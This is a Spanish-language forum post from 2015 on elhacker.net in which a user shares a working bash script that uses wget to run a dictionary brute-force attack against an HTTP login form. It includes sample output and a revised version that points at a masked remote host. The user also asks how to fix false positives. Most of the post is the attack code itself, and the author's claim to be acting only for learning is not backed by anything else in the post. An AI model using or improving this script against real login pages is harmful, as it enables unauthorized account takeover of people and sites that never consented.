Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: GGZ en 2 Octubre 2015, 02:10 am



Título: [Bash-wget] Ataque de fuerza bruta HTTP
Publicado por: GGZ en 2 Octubre 2015, 02:10 am
Vale aclarar que esto solo lo hago para aprender más y, divertirme un poco.
No para hacer nada malo.

Código
  1. echo "Bruteforce attack!";
  2. USUARIO=$1
  3. DICCIONARIO=$2
  4. LINEAS=`cat $DICCIONARIO | wc -l`
  5. echo -e "User: $USUARIO\nReading: $DICCIONARIO"
  6. i=0;
  7.  
  8.  
  9. while read pass; do
  10.                        i=$(($i+1));
  11. # echo -n "[*] $pass: ";
  12. if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://127.0.0.1/php/login.php`" =~ "no coinciden" ]];
  13. then
  14. echo -ne "[*] $i de $(($LINEAS-1)) \r";
  15. else
  16. echo "Found  $pass"; exit;
  17.  
  18. fi
  19. done < $DICCIONARIO
  20.  
  21.  

Salida:

Código
  1. sh brute.sh juan numeros.txt
  2. Bruteforce attack!
  3. User: profe
  4. Reading: numeros.txt
  5. [*] 7 de 293
  6.  





El problema que tengo con esto es que a veces me tira "Falsos positivos" y es por el wget es como que le "apuro" no recibe el paquete o algo,

¿Cómo podría solucionar esto?

Versión mejorada:

Código
  1. echo "Bruteforce attack!";
  2. USUARIO=$1
  3. DICCIONARIO=$2
  4. LINEAS=`cat $DICCIONARIO | wc -l`
  5. echo -e "User: $USUARIO\nReading: $DICCIONARIO"
  6. i=0;
  7.  
  8.  
  9. while read pass; do
  10.    i=$(($i+1));
  11.    #echo -n "[*] $pass: ";
  12.    if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://***.***/php/login.php`" =~ "no coinciden" ]];
  13.    then
  14. echo -ne "[*] $i de $(($LINEAS)) \r";
  15.    else
  16. echo "(False positive?) Found $pass";
  17.  
  18.    fi
  19. done < $DICCIONARIO
  20.  


Gracias, Saludos!